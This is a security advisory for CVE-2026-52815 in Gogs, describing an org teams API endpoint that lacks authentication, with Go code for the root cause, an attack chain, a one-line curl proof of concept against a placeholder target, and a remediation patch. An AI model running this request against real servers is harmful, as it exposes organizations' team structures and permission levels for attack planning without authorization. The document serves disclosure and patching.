---
id: CVE-2026-52815
title: >-
  Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure
  via API
summary: >-
  Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure
  via API
severity: medium
cwe:
  - CWE-200
vendor: gogs
product: gogs.io/gogs
ecosystem: go
affected:
  - gogs.io/gogs < 0.14.3
patched:
  - gogs.io/gogs 0.14.3
published: '2026-06-23'
updated: '2026-06-23'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-744x-3838-5r56'
references:
  - url: 'https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56'
  - url: 'https://github.com/gogs/gogs/pull/8336'
  - url: >-
      https://github.com/gogs/gogs/commit/2ebc0e27069deade992219e10a89fbc44bec8bb9
  - url: 'https://github.com/gogs/gogs/releases/tag/v0.14.3'
  - url: 'https://github.com/advisories/GHSA-744x-3838-5r56'
tags:
  - ghsa
  - go
  - exploit-available
epss: 0.01488
epssPercentile: 0.72956
ingestedAt: '2026-06-29T13:24:35.463Z'
exploits:
  nuclei:
    - CVE-2026-52815
  checkedAt: '2026-09-24T07:53:06.185Z'
exploitAvailable: true
---

## Overview

## Summary

Gogs has an unauthenticated information disclosure vulnerability. The `GET /api/v1/orgs/:orgname/teams` endpoint at `internal/route/api/v1/org_team.go:8` returns all teams for any organization without requiring authentication. The route group at `internal/route/api/v1/api.go:380-385` lacks the `reqToken()` middleware, and the `listTeams()` handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.

## Affected Versions

Gogs (all current versions)

## Vulnerability Details

### Root Cause: Missing reqToken() middleware on org teams route group

`internal/route/api/v1/api.go` lines 380-385:

```go
// Org teams route group — no reqToken() middleware
m.Group("/:orgname", func() {
    m.Get("/teams", org.ListTeams) // No auth required
}, orgAssignment(true))
```

The `orgAssignment(true)` middleware only loads the organization object — it performs no authentication. The `listTeams()` handler at `org_team.go:8` returns all teams unconditionally:

```go
func ListTeams(c *context.APIContext) {
    org := c.Org.Organization
    teams, err := database.GetTeamsByOrgID(org.ID)
    // Returns all teams — no c.IsLogged check, no permission check
}
```

Compare with other org endpoints that correctly require authentication:

```go
m.Group("/orgs/:orgname", func() {
    // ... other endpoints ...
}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth
```

### Attack Chain

- Attacker sends `GET /api/v1/orgs/target-org/teams` with no authentication
- `orgAssignment(true)` loads the organization but does not check auth
- `ListTeams()` queries all teams and returns them
- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)

## Proof of Concept

```bash
# List all teams in an organization — no authentication needed
curl -s "http://TARGET:3000/api/v1/orgs/myorg/teams" | python3 -m json.tool

# Expected: 200 OK with full team list
# [
#   {
#     "id": 1,
#     "name": "Owners",
#     "description": "Admin team",
#     "permission": "owner"
#   },
#   {
#     "id": 2,
#     "name": "backend-devs",
#     "description": "Backend development team",
#     "permission": "write"
#   }
# ]
```

## Impact

An unauthenticated attacker can:

- Enumerate all teams within any organization, including private/internal teams
- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning
- Map organizational structure and identify high-value targets (admin/owner teams)
- Harvest team IDs for use in other API calls that may have weaker authorization checks

## Suggested Remediation

```go
m.Group("/:orgname", func() {
    m.Get("/teams", org.ListTeams)
}, reqToken(), orgAssignment(true))
```

Add `reqToken()` middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, `ListTeams()` should verify the authenticated user is a member of the organization.

## Affected packages

- `gogs.io/gogs < 0.14.3`

## Remediation

Upgrade to a patched release:

- `gogs.io/gogs 0.14.3`